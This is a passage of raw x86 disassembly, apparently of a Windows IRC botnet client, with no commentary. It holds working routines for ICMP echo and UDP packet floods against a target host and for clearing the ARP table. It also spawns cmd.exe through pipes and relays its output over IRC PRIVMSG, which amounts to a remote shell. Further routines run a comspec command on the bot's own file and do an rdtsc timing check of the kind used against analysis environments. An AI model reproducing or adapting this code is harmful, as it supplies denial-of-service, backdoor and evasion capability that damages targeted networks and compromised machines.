push eax
lea eax, [ebp+Str]
push eax
push edi
call ds:dword_423078
push edi
call ds:dword_423074
push 10h ; Size
lea eax, [ebp+Dst]
push esi ; Val
push eax ; Dst
call _memset
push 44h
lea eax, [ebp+var_58]
pop edi
push edi ; Size
push esi ; Val
push eax ; Dst
call _memset
add esp, 18h
mov [ebp+var_58], edi
mov edi, 104h
lea eax, [ebp+var_15C]
push edi
push eax
push esi
mov [ebp+var_4C], offset byte_4397BC
mov [ebp+var_2C], 1
mov [ebp+var_28], si
call ds:dword_4230FC
push eax
call ds:dword_423090 ; GetModuleFileNameA
lea eax, [ebp+var_15C]
push eax
call ds:dword_4230A4 ; GetFileAttributesA
cmp eax, 0FFFFFFFFh
jz short loc_40AD69
lea eax, [ebp+var_15C]
push 80h
push eax
call ds:dword_423128 ; SetFileAttributesA
loc_40AD69: ; CODE XREF: sub_40AC3D+118j
lea eax, [ebp+var_15C]
push eax
lea eax, [ebp+Dest]
push eax
lea eax, [ebp+Str]
push offset aComspecCSS ; "%%comspec%% /c %s %s"
push eax ; Dest
call _sprintf
add esp, 10h
lea eax, [ebp+var_364]
push edi
push eax
lea eax, [ebp+Str]
push eax
call ds:dword_423124 ; ExpandEnvironmentStringsA
lea eax, [ebp+Dst]
push eax
lea eax, [ebp+var_58]
push eax
push esi
push esi
push 4008h
push 1
push esi
lea eax, [ebp+var_364]
push esi
push eax
push esi
call ds:dword_423120 ; CreateProcessA
loc_40ADC1: ; CODE XREF: sub_40AC3D+72j
pop edi
pop esi
leave
retn
sub_40AC3D endp
; =============== S U B R O U T I N E =======================================
sub_40ADC5 proc near ; CODE XREF: sub_4013E9+7p
; sub_40198C+7p ...
arg_0 = dword ptr 4
push [esp+arg_0]
call ds:dword_43C658 ; inet_addr
cmp eax, 0FFFFFFFFh
jnz short locret_40ADED
push [esp+arg_0]
call ds:dword_43C69C ; gethostbyname
test eax, eax
jnz short loc_40ADE6
or eax, 0FFFFFFFFh
retn
; ---------------------------------------------------------------------------
loc_40ADE6: ; CODE XREF: sub_40ADC5+1Bj
mov eax, [eax+0Ch]
mov eax, [eax]
mov eax, [eax]
locret_40ADED: ; CODE XREF: sub_40ADC5+Dj
retn
sub_40ADC5 endp
; =============== S U B R O U T I N E =======================================
sub_40ADEE proc near ; CODE XREF: sub_40EB71+D6p
mov ecx, ds:dword_43C540
xor eax, eax
test ecx, ecx
jz short locret_40ADFC
call ecx ; DnsFlushResolverCache
locret_40ADFC: ; CODE XREF: sub_40ADEE+Aj
retn
sub_40ADEE endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40ADFD proc near ; CODE XREF: sub_40EE51:loc_414515p
Dest = byte ptr -88h
Size = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 88h
push ebx
push esi
push edi
push 1
pop ebx
lea eax, [ebp+Size]
xor edi, edi
push ebx
push eax
push edi
xor esi, esi
mov [ebp+Size], edi
mov [ebp+var_4], ebx
call ds:dword_43C694 ; GetIpNetTable
mov ecx, eax
sub ecx, edi
jz loc_40AEC3
sub ecx, 32h
jz loc_40AEBC
sub ecx, 48h
jz short loc_40AE5D
sub ecx, 6Eh
jz short loc_40AE56
loc_40AE3F: ; CODE XREF: sub_40ADFD+8Bj
push eax
lea eax, [ebp+Dest]
push offset unk_42CA5C ; Format
push eax ; Dest
call _sprintf
add esp, 0Ch
jmp short loc_40AE9D
; ---------------------------------------------------------------------------
loc_40AE56: ; CODE XREF: sub_40ADFD+40j
push offset unk_42CA28
jmp short loc_40AE8F
; ---------------------------------------------------------------------------
loc_40AE5D: ; CODE XREF: sub_40ADFD+3Bj
push [ebp+Size] ; Size
call _malloc
push [ebp+Size] ; Size
mov esi, eax
push edi ; Val
push esi ; Dst
call _memset
add esp, 10h
cmp esi, edi
jz short loc_40AE8A
lea eax, [ebp+Size]
push ebx
push eax
push esi
call ds:dword_43C694 ; GetIpNetTable
cmp eax, edi
jz short loc_40AEC3
jmp short loc_40AE3F
; ---------------------------------------------------------------------------
loc_40AE8A: ; CODE XREF: sub_40ADFD+79j
push offset unk_42C9E8 ; Format
loc_40AE8F: ; CODE XREF: sub_40ADFD+5Ej
; sub_40ADFD+C4j
lea eax, [ebp+Dest]
push eax ; Dest
call _sprintf
pop ecx
pop ecx
loc_40AE9D: ; CODE XREF: sub_40ADFD+57j
lea eax, [ebp+Dest]
mov [ebp+var_4], edi
push eax
call sub_40BF6F
pop ecx
loc_40AEAD: ; CODE XREF: sub_40ADFD+C8j
; sub_40ADFD+DCj
push esi ; Memory
call _free
mov eax, [ebp+var_4]
pop ecx
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_40AEBC: ; CODE XREF: sub_40ADFD+32j
push offset unk_42C9A8
jmp short loc_40AE8F
; ---------------------------------------------------------------------------
loc_40AEC3: ; CODE XREF: sub_40ADFD+29j
; sub_40ADFD+89j
cmp [esi], edi
jbe short loc_40AEAD
lea ebx, [esi+4]
loc_40AECA: ; CODE XREF: sub_40ADFD+DAj
push ebx
call ds:dword_43C690 ; DeleteIpNetEntry
inc edi
add ebx, 18h
cmp edi, [esi]
jb short loc_40AECA
jmp short loc_40AEAD
sub_40ADFD endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40AEDB proc near ; CODE XREF: sub_401447+243p
; sub_401D79+268p ...
Dst = byte ptr -14h
var_10 = byte ptr -10h
var_F = byte ptr -0Fh
var_E = byte ptr -0Eh
var_D = byte ptr -0Dh
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 14h
push esi
push 10h
pop eax
mov [ebp+var_4], eax
push eax ; Size
lea eax, [ebp+Dst]
push 0 ; Val
push eax ; Dst
call _memset
add esp, 0Ch
lea eax, [ebp+var_4]
push eax
lea eax, [ebp+Dst]
push eax
push [ebp+arg_0]
call ds:dword_43C5BC ; getsockname
movzx eax, [ebp+var_D]
push eax
mov esi, offset byte_43C94C
movzx eax, [ebp+var_E]
push eax
movzx eax, [ebp+var_F]
push eax
movzx eax, [ebp+var_10]
push eax
push offset aD_D_D_D ; "%d.%d.%d.%d"
push esi ; Dest
call _sprintf
add esp, 18h
mov eax, esi
pop esi
leave
retn
sub_40AEDB endp
; =============== S U B R O U T I N E =======================================
sub_40AF34 proc near ; CODE XREF: sub_4010B2+24Cp
; sub_4010B2+292p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
mov esi, [esp+4+arg_4]
xor eax, eax
cmp esi, 1
jle short loc_40AF5D
mov ecx, esi
push edi
shr ecx, 1
mov edx, ecx
neg edx
lea esi, [esi+edx*2]
mov edx, [esp+8+arg_0]
loc_40AF50: ; CODE XREF: sub_40AF34+24j
movzx edi, word ptr [edx]
add eax, edi
inc edx
inc edx
dec ecx
jnz short loc_40AF50
pop edi
jmp short loc_40AF61
; ---------------------------------------------------------------------------
loc_40AF5D: ; CODE XREF: sub_40AF34+Aj
mov edx, [esp+4+arg_0]
loc_40AF61: ; CODE XREF: sub_40AF34+27j
test esi, esi
pop esi
jz short loc_40AF6B
movzx ecx, byte ptr [edx]
add eax, ecx
loc_40AF6B: ; CODE XREF: sub_40AF34+30j
mov ecx, eax
and eax, 0FFFFh
shr ecx, 10h
add ecx, eax
mov eax, ecx
shr eax, 10h
add eax, ecx
not eax
retn
sub_40AF34 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40AF81 proc near ; DATA XREF: sub_40EE51+2E6Co
var_10320 = byte ptr -10320h
Dest = byte ptr -344h
var_144 = dword ptr -144h
Str = byte ptr -140h
var_C0 = byte ptr -0C0h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
Dst = byte ptr -20h
var_18 = dword ptr -18h
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 10320h
call __alloca_probe
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 49h
mov esi, eax
pop ecx
lea edi, [ebp+var_144]
rep movsd
push 1
pop edi
mov [eax+120h], edi
call ds:dword_43C5A4 ; IcmpCreateFile
mov [ebp+arg_0], eax
lea eax, [ebp+var_C0]
push eax
call ds:dword_43C658 ; inet_addr
mov esi, eax
xor ebx, ebx
xor eax, eax
cmp esi, 0FFFFFFFFh
jnz short loc_40AFDC
lea eax, [ebp+var_C0]
push eax
call ds:dword_43C69C ; gethostbyname
cmp eax, ebx
jz short loc_40AFE2
loc_40AFDC: ; CODE XREF: sub_40AF81+48j
cmp [ebp+arg_0], 0FFFFFFFFh
jnz short loc_40B03F
loc_40AFE2: ; CODE XREF: sub_40AF81+59j
lea eax, [ebp+var_C0]
push eax
lea eax, [ebp+Dest]
push offset unk_42CAD8 ; Format
push eax ; Dest
call _sprintf
add esp, 0Ch
cmp [ebp+var_28], ebx
jnz short loc_40B022
push ebx ; int
lea eax, [ebp+Dest]
push [ebp+var_2C] ; int
push eax ; int
lea eax, [ebp+Str]
push eax ; Str
push [ebp+var_144] ; int
call sub_40D670
add esp, 14h
loc_40B022: ; CODE XREF: sub_40AF81+7Fj
lea eax, [ebp+Dest]
push eax
call sub_40BF6F
push [ebp+var_30]
call sub_417064
pop ecx
pop ecx
push edi
call ds:dword_423050
loc_40B03F: ; CODE XREF: sub_40AF81+5Fj
cmp eax, ebx
jz short loc_40B04F
mov eax, [eax+0Ch]
mov eax, [eax]
mov eax, [eax]
mov [ebp+var_4], eax
jmp short loc_40B052
; ---------------------------------------------------------------------------
loc_40B04F: ; CODE XREF: sub_40AF81+C0j
mov [ebp+var_4], esi
loc_40B052: ; CODE XREF: sub_40AF81+CCj
push 1Ch ; Size
lea eax, [ebp+Dst]
push ebx ; Val
push eax ; Dst
call _memset
or [ebp+var_18], 0FFFFFFFFh
mov eax, 0FFDCh
add esp, 0Ch
cmp [ebp+var_3C], eax
jle short loc_40B072
mov [ebp+var_3C], eax
loc_40B072: ; CODE XREF: sub_40AF81+ECj
cmp [ebp+var_38], edi
jge short loc_40B07A
mov [ebp+var_38], edi
loc_40B07A: ; CODE XREF: sub_40AF81+F4j
xor esi, esi
cmp [ebp+var_40], ebx
jle short loc_40B0A7
loc_40B081: ; CODE XREF: sub_40AF81+124j
push [ebp+var_38]
lea eax, [ebp+Dst]
push 1Ch
push eax
push ebx
lea eax, [ebp+var_10320]
push [ebp+var_3C]
push eax
push [ebp+var_4]
push [ebp+arg_0]
call ds:dword_43C53C ; IcmpSendEcho
inc esi
cmp esi, [ebp+var_40]
jl short loc_40B081
loc_40B0A7: ; CODE XREF: sub_40AF81+FEj
push [ebp+arg_0]
call ds:dword_43C6D0 ; IcmpCloseHandle
lea eax, [ebp+var_C0]
push eax
lea eax, [ebp+Dest]
push offset unk_42CA9C ; Format
push eax ; Dest
call _sprintf
add esp, 0Ch
cmp [ebp+var_28], ebx
jnz short loc_40B0F0
push ebx ; int
lea eax, [ebp+Dest]
push [ebp+var_2C] ; int
push eax ; int
lea eax, [ebp+Str]
push eax ; Str
push [ebp+var_144] ; int
call sub_40D670
add esp, 14h
loc_40B0F0: ; CODE XREF: sub_40AF81+14Dj
lea eax, [ebp+Dest]
push eax
call sub_40BF6F
push [ebp+var_30]
call sub_417064
pop ecx
pop ecx
push ebx
call ds:dword_423050
sub_40AF81 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B10D proc near ; DATA XREF: sub_40EE51+2FC1o
var_10311 = byte ptr -10311h
var_10310 = byte ptr -10310h
Dest = byte ptr -334h
var_134 = dword ptr -134h
Str = byte ptr -130h
var_B0 = byte ptr -0B0h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
Dst = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 10310h
call __alloca_probe
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 49h
mov esi, eax
pop ecx
lea edi, [ebp+var_134]
rep movsd
push 1
pop esi
mov [eax+120h], esi
call ds:dword_423054 ; GetTickCount
push eax
call sub_4172EE
pop ecx
push 11h
push 2
push 2
call ds:dword_43C698 ; socket
mov ebx, eax
xor edi, edi
push 10h ; Size
lea eax, [ebp+Dst]
push edi ; Val
push eax ; Dst
call _memset
add esp, 0Ch
lea eax, [ebp+var_B0]
mov [ebp+Dst], 2
push eax
call ds:dword_43C658 ; inet_addr
cmp eax, 0FFFFFFFFh
mov [ebp+arg_0], eax
jnz short loc_40B1F2
lea eax, [ebp+var_B0]
push eax
call ds:dword_43C69C ; gethostbyname
cmp eax, edi
jnz short loc_40B1EB
lea eax, [ebp+var_B0]
push eax
lea eax, [ebp+Dest]
push offset dword_42CB4C ; Format
push eax ; Dest
call _sprintf
add esp, 0Ch
cmp [ebp+var_18], edi
jnz short loc_40B1CE
push edi ; int
lea eax, [ebp+Dest]
push [ebp+var_1C] ; int
push eax ; int
lea eax, [ebp+Str]
push eax ; Str
push [ebp+var_134] ; int
call sub_40D670
add esp, 14h
loc_40B1CE: ; CODE XREF: sub_40B10D+9Fj
lea eax, [ebp+Dest]
push eax
call sub_40BF6F
push [ebp+var_20]
call sub_417064
pop ecx
pop ecx
push esi
call ds:dword_423050
loc_40B1EB: ; CODE XREF: sub_40B10D+7Fj
mov eax, [eax+0Ch]
mov eax, [eax]
jmp short loc_40B1F5
; ---------------------------------------------------------------------------
loc_40B1F2: ; CODE XREF: sub_40B10D+6Ej
lea eax, [ebp+arg_0]
loc_40B1F5: ; CODE XREF: sub_40B10D+E3j
mov eax, [eax]
cmp [ebp+var_24], edi
mov [ebp+var_C], eax
jnz short loc_40B210
call _rand
cdq
mov ecx, 0FFDCh
idiv ecx
inc edx
push edx
jmp short loc_40B213
; ---------------------------------------------------------------------------
loc_40B210: ; CODE XREF: sub_40B10D+F0j
push [ebp+var_24]
loc_40B213: ; CODE XREF: sub_40B10D+101j
call ds:dword_43C618 ; htons
cmp [ebp+var_24], esi
mov [ebp+var_E], ax
jge short loc_40B225
mov [ebp+var_24], esi
loc_40B225: ; CODE XREF: sub_40B10D+113j
mov eax, 0FFFFh
cmp [ebp+var_24], eax
jle short loc_40B232
mov [ebp+var_24], eax
loc_40B232: ; CODE XREF: sub_40B10D+120j
mov eax, [ebp+var_30]
push 0Ah
cdq
pop ecx
idiv ecx
cmp [ebp+var_28], edi
mov [ebp+var_30], eax
jnz short loc_40B246
mov [ebp+var_28], esi
loc_40B246: ; CODE XREF: sub_40B10D+134j
xor esi, esi
cmp [ebp+var_2C], edi
jle short loc_40B267
loc_40B24D: ; CODE XREF: sub_40B10D+158j
call _rand
cdq
mov ecx, 0FFh
idiv ecx
inc esi
cmp esi, [ebp+var_2C]
mov [ebp+esi+var_10311], dl
jl short loc_40B24D
loc_40B267: ; CODE XREF: sub_40B10D+13Ej
; sub_40B10D+19Cj ...
mov eax, [ebp+var_30]
dec [ebp+var_30]
test eax, eax
jle short loc_40B2C6
push 0Bh
pop esi
loc_40B274: ; CODE XREF: sub_40B10D+197j
lea eax, [ebp+Dst]
push 10h
push eax
push edi
call _rand
push 0Ah
cdq
pop ecx
idiv ecx
mov eax, [ebp+var_2C]
sub eax, edx
push eax
lea eax, [ebp+var_10310]
push eax
push ebx
call ds:dword_43C67C ; sendto
push [ebp+var_28]
call ds:dword_423060 ; Sleep
dec esi
jnz short loc_40B274
cmp [ebp+var_24], edi
jnz short loc_40B267
call _rand
cdq
mov ecx, 0FFDCh
idiv ecx
inc edx
push edx
call ds:dword_43C618 ; htons
mov [ebp+var_E], ax
jmp short loc_40B267
; ---------------------------------------------------------------------------
loc_40B2C6: ; CODE XREF: sub_40B10D+162j
lea eax, [ebp+var_B0]
push eax
lea eax, [ebp+Dest]
push offset dword_42CB10 ; Format
push eax ; Dest
call _sprintf
add esp, 0Ch
cmp [ebp+var_18], edi
jnz short loc_40B306
push edi ; int
lea eax, [ebp+Dest]
push [ebp+var_1C] ; int
push eax ; int
lea eax, [ebp+Str]
push eax ; Str
push [ebp+var_134] ; int
call sub_40D670
add esp, 14h
loc_40B306: ; CODE XREF: sub_40B10D+1D7j
lea eax, [ebp+Dest]
push eax
call sub_40BF6F
push [ebp+var_20]
call sub_417064
pop ecx
pop ecx
push edi
call ds:dword_423050
sub_40B10D endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_40B323 proc near ; CODE XREF: sub_40B353+2Ap
; sub_40B38B+7Ep ...
mov eax, ds:dword_43C964
push esi
mov esi, ds:dword_423074
cmp eax, 0FFFFFFFFh
jz short loc_40B337
push eax
call esi
loc_40B337: ; CODE XREF: sub_40B323+Fj
mov eax, ds:dword_43C96C
cmp eax, 0FFFFFFFFh
jz short loc_40B344
push eax
call esi
loc_40B344: ; CODE XREF: sub_40B323+1Cj
mov eax, ds:dword_43C960
cmp eax, 0FFFFFFFFh
jz short loc_40B351
push eax
call esi
loc_40B351: ; CODE XREF: sub_40B323+29j
pop esi
retn
sub_40B323 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_40B353(char *Str)
sub_40B353 proc near ; CODE XREF: sub_40C353+14Ap
; sub_40EE51+4882p
var_4 = dword ptr -4
Str = dword ptr 8
push ebp
mov ebp, esp
push ecx
push [ebp+Str] ; Str
call _strlen
pop ecx
mov [ebp+var_4], eax
lea ecx, [ebp+var_4]
push 0
push ecx
push eax
push [ebp+Str]
push ds:dword_43C968
call ds:dword_423078
test eax, eax
jnz short loc_40B386
call sub_40B323
xor eax, eax
leave
retn
; ---------------------------------------------------------------------------
loc_40B386: ; CODE XREF: sub_40B353+28j
push 1
pop eax
leave
retn
sub_40B353 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_40B38B(int,char *Str1,int)
sub_40B38B proc near ; CODE XREF: sub_40B412+D3p
; sub_40B412+F2p ...
Str = byte ptr -200h
arg_0 = dword ptr 8
Str1 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 200h
push offset byte_4397BC ; Str2
push [ebp+Str1] ; Str1
call _strcmp
pop ecx
test eax, eax
pop ecx
jz short loc_40B3CE
push 7D0h
call ds:dword_423060 ; Sleep
push [ebp+arg_8]
lea eax, [ebp+Str]
push [ebp+Str1]
push offset aPrivmsgSS ; "PRIVMSG %s :%s\r"
push eax ; Dest
call _sprintf
add esp, 10h
jmp short loc_40B3E5
; ---------------------------------------------------------------------------
loc_40B3CE: ; CODE XREF: sub_40B38B+1Aj
push [ebp+arg_8]
lea eax, [ebp+Str]
push offset aS_1 ; "%s"
push eax ; Dest
call _sprintf
add esp, 0Ch
loc_40B3E5: ; CODE XREF: sub_40B38B+41j
lea eax, [ebp+Str]
push 0
push eax ; Str
call _strlen
pop ecx
push eax
lea eax, [ebp+Str]
push eax
push [ebp+arg_0]
call ds:dword_43C668 ; send
test eax, eax
jg short loc_40B40E
call sub_40B323
loc_40B40E: ; CODE XREF: sub_40B38B+7Cj
xor eax, eax
leave
retn
sub_40B38B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B412 proc near ; DATA XREF: sub_40B567+170o
Dst = byte ptr -20Ch
var_C = byte ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 20Ch
push ebx
push esi
push edi
mov esi, 200h
xor edi, edi
mov ebx, offset byte_43C970
loc_40B42A: ; CODE XREF: sub_40B412+79j
; sub_40B412+DBj
push esi ; Size
lea eax, [ebp+Dst]
push edi ; Val
push eax ; Dst
call _memset
add esp, 0Ch
lea eax, [ebp+var_4]
push edi
push edi
push eax
lea eax, [ebp+Dst]
push esi
push eax
push ds:dword_43C964
call ds:dword_423134 ; PeekNamedPipe
test eax, eax
jz loc_40B4F8
cmp [ebp+var_4], edi
jnz short loc_40B48D
lea eax, [ebp+var_8]
push eax
push ds:dword_43C960
call ds:dword_423130 ; GetExitCodeProcess
test eax, eax
jz short loc_40B483
cmp [ebp+var_8], 103h
jnz loc_40B51C
loc_40B483: ; CODE XREF: sub_40B412+62j
push 0Ah
call ds:dword_423060 ; Sleep
jmp short loc_40B42A
; ---------------------------------------------------------------------------
loc_40B48D: ; CODE XREF: sub_40B412+4Ej
xor eax, eax
cmp [ebp+var_4], edi
jbe short loc_40B4A4
loc_40B494: ; CODE XREF: sub_40B412+90j
cmp [ebp+eax+Dst], 0Ah
jz short loc_40B4F2
inc eax
cmp eax, [ebp+var_4]
jb short loc_40B494
loc_40B4A4: ; CODE XREF: sub_40B412+80j
mov [ebp+var_4], esi
loc_40B4A7: ; CODE XREF: sub_40B412+E4j
push esi ; Size
lea eax, [ebp+Dst]
push edi ; Val
push eax ; Dst
call _memset
add esp, 0Ch
lea eax, [ebp+var_C]
push edi
push eax
push [ebp+var_4]
lea eax, [ebp+Dst]
push eax
push ds:dword_43C964
call ds:dword_423070
test eax, eax
jz short loc_40B544
lea eax, [ebp+Dst]
push eax ; int
push ebx ; Str1
push ds:dword_43C9A4 ; int
call sub_40B38B
add esp, 0Ch
jmp loc_40B42A
; ---------------------------------------------------------------------------
loc_40B4F2: ; CODE XREF: sub_40B412+8Aj
inc eax
mov [ebp+var_4], eax
jmp short loc_40B4A7
; ---------------------------------------------------------------------------
loc_40B4F8: ; CODE XREF: sub_40B412+45j
push offset dword_42CC0C ; int
push ebx ; Str1
push ds:dword_43C9A4 ; int
call sub_40B38B
push [ebp+arg_0]
call sub_417064
add esp, 10h
push 1
call ds:dword_423050
loc_40B51C: ; CODE XREF: sub_40B412+6Bj
call sub_40B323
push offset dword_42CBD4 ; int
push ebx ; Str1
push ds:dword_43C9A4 ; int
call sub_40B38B
push [ebp+arg_0]
call sub_417064
add esp, 10h
push edi
call ds:dword_423050
loc_40B544: ; CODE XREF: sub_40B412+C3j
push offset dword_42CB94 ; int
push ebx ; Str1
push ds:dword_43C9A4 ; int
call sub_40B38B
push [ebp+arg_0]
call sub_417064
add esp, 10h
push edi
call ds:dword_423050
sub_40B412 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B567 proc near ; CODE XREF: sub_40C353+99p
; sub_40EE51+574Cp
Dest = byte ptr -378h
var_178 = byte ptr -178h
var_74 = dword ptr -74h
var_48 = dword ptr -48h
var_44 = word ptr -44h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = byte ptr -30h
Dst = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 378h
push ebx
push esi
push edi
call sub_40B323
xor esi, esi
lea eax, [ebp+var_178]
push esi
push eax
push 104h
push esi
push offset aCmd_exe ; "cmd.exe"
push esi
call ds:dword_43C6D4 ; SearchPathA
test eax, eax
jz loc_40B661
push 1
lea eax, [ebp+var_1C]
pop ebx
mov edi, ds:dword_423140
push esi
push eax
lea eax, [ebp+var_C]
mov [ebp+var_1C], 0Ch
push eax
lea eax, [ebp+var_10]
push eax
mov [ebp+var_14], ebx
mov [ebp+var_18], esi
call edi ; CreatePipe
test eax, eax
jz loc_40B661
lea eax, [ebp+var_1C]
push esi
push eax
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_4]
push eax
call edi ; CreatePipe
test eax, eax
jz loc_40B661
mov edi, ds:dword_42313C
push 3
push esi
push esi
push offset dword_43C968
call edi ; GetCurrentProcess
push eax
push [ebp+var_8]
call edi ; GetCurrentProcess
push eax
call ds:dword_423138
test eax, eax
jz short loc_40B661
push 10h ; Size
lea eax, [ebp+Dst]
push esi ; Val
push eax ; Dst
call _memset
push 44h
lea eax, [ebp+var_74]
pop edi
push edi ; Size
push esi ; Val
push eax ; Dst
call _memset
mov eax, [ebp+var_4]
add esp, 18h
mov [ebp+var_3C], eax
mov eax, [ebp+var_C]
mov [ebp+var_38], eax
mov [ebp+var_34], eax
lea eax, [ebp+Dst]
mov [ebp+var_74], edi
push eax
lea eax, [ebp+var_74]
push eax
push esi
push esi
push esi
push ebx
push esi
mov ebx, offset byte_4397BC
push esi
lea eax, [ebp+var_178]
push ebx
push eax
mov [ebp+var_48], 101h
mov [ebp+var_44], si
call ds:dword_423120 ; CreateProcessA
test eax, eax
jnz short loc_40B669
loc_40B661: ; CODE XREF: sub_40B567+2Fj
; sub_40B567+5Cj ...
or eax, 0FFFFFFFFh
jmp loc_40B717
; ---------------------------------------------------------------------------
loc_40B669: ; CODE XREF: sub_40B567+F8j
push [ebp+var_4]
mov edi, ds:dword_423074
call edi
mov eax, [ebp+var_10]
push [ebp+var_28]
mov ds:dword_43C964, eax
mov eax, [ebp+var_8]
mov ds:dword_43C96C, eax
mov eax, [ebp+Dst]
mov ds:dword_43C960, eax
call edi
mov eax, [ebp+arg_0]
cmp [ebp+arg_4], esi
mov ds:dword_43C9A4, eax
jz short loc_40B6A3
push [ebp+arg_4]
jmp short loc_40B6A4
; ---------------------------------------------------------------------------
loc_40B6A3: ; CODE XREF: sub_40B567+135j
push ebx ; Format
loc_40B6A4: ; CODE XREF: sub_40B567+13Aj
push offset byte_43C970 ; Dest
call _sprintf
pop ecx
pop ecx
push esi ; int
push 7 ; int
push offset dword_42CC90 ; Source
call sub_416D48
mov edi, eax
mov ecx, [ebp+var_24]
imul edi, 234h
add esp, 0Ch
mov ds:dword_442078[edi], ecx
lea ecx, [ebp+var_30]
push ecx
push esi
push eax
push offset sub_40B412
push esi
push esi
call ds:dword_42309C
cmp eax, esi
mov ds:dword_442084[edi], eax
jnz short loc_40B715
call ds:dword_423088 ; RtlGetLastWin32Error
push eax
lea eax, [ebp+Dest]
push offset dword_42CC4C ; Format
push eax ; Dest
call _sprintf
lea eax, [ebp+Dest]
push eax
call sub_40BF6F
add esp, 10h
loc_40B715: ; CODE XREF: sub_40B567+185j
xor eax, eax
loc_40B717: ; CODE XREF: sub_40B567+FDj
pop edi
pop esi
pop ebx
leave
retn
sub_40B567 endp
; =============== S U B R O U T I N E =======================================
sub_40B71C proc near ; CODE XREF: sub_407102+74p
; sub_40B8D3+217p ...
arg_0 = dword ptr 4
push ebx
push ebp
push esi
push edi
call ds:dword_423054 ; GetTickCount
xor edx, edx
mov ecx, 3E8h
div ecx
mov ebx, 15180h
xor edx, edx
mov esi, ebx
mov edi, 0E10h
mov ebp, edi
push 3Ch
mov ecx, eax
sub ecx, [esp+14h+arg_0]
mov eax, ecx
div esi
mov esi, edx
xor edx, edx
mov eax, esi
div ebp
pop ebp
mov eax, edx
xor edx, edx
div ebp
xor edx, edx
push eax
mov eax, esi
div edi
xor edx, edx
mov esi, offset byte_43C9AC
push eax
mov eax, ecx
div ebx
push eax
push offset aDdDhDm ; "%dd %dh %dm"
push 32h ; Count
push esi ; Dest
call __snprintf
add esp, 18h
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
retn
sub_40B71C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B785 proc near ; CODE XREF: sub_409032+24p
var_94 = dword ptr -94h
var_90 = dword ptr -90h
var_8C = dword ptr -8Ch
var_84 = dword ptr -84h
push ebp
mov ebp, esp
sub esp, 94h
lea eax, [ebp+var_94]
push esi
push eax
xor esi, esi
mov [ebp+var_94], 94h
call ds:dword_423144 ; GetVersionExA
test eax, eax
jz short loc_40B818
cmp [ebp+var_90], 4
jnz short loc_40B7EE
cmp [ebp+var_8C], esi
jnz short loc_40B7D6
cmp [ebp+var_84], 1
jnz short loc_40B7C9
push 1
pop esi
loc_40B7C9: ; CODE XREF: sub_40B785+3Fj
cmp [ebp+var_84], 2
jnz short loc_40B818
push 1
jmp short loc_40B817
; ---------------------------------------------------------------------------
loc_40B7D6: ; CODE XREF: sub_40B785+36j
cmp [ebp+var_8C], 0Ah
jnz short loc_40B7E3
loc_40B7DF: ; CODE XREF: sub_40B785+78j
push 2
jmp short loc_40B817
; ---------------------------------------------------------------------------
loc_40B7E3: ; CODE XREF: sub_40B785+58j
cmp [ebp+var_8C], 5Ah
jnz short loc_40B818
jmp short loc_40B808
; ---------------------------------------------------------------------------
loc_40B7EE: ; CODE XREF: sub_40B785+2Ej
cmp [ebp+var_90], 5
jnz short loc_40B818
cmp [ebp+var_8C], esi
jz short loc_40B7DF
cmp [ebp+var_8C], 1
jnz short loc_40B80C
loc_40B808: ; CODE XREF: sub_40B785+67j
push 3
jmp short loc_40B817
; ---------------------------------------------------------------------------
loc_40B80C: ; CODE XREF: sub_40B785+81j
cmp [ebp+var_8C], 2
jnz short loc_40B818
push 7
loc_40B817: ; CODE XREF: sub_40B785+4Fj
; sub_40B785+5Cj ...
pop esi
loc_40B818: ; CODE XREF: sub_40B785+25j
; sub_40B785+4Bj ...
mov eax, esi
pop esi
leave
retn
sub_40B785 endp
; =============== S U B R O U T I N E =======================================
sub_40B81D proc near ; CODE XREF: sub_40B8D3+290p
push ebx
push esi
push edi
mov esi, 0F4240h
loc_40B825: ; CODE XREF: sub_40B81D+2Fj
; sub_40B81D+35j
rdtsc
push 3E8h
mov edi, edx
mov ebx, eax
call ds:dword_423060 ; Sleep
rdtsc
sub eax, ebx
push 0
sbb edx, edi
push esi
push edx
push eax
call __aulldiv
mov edi, edx
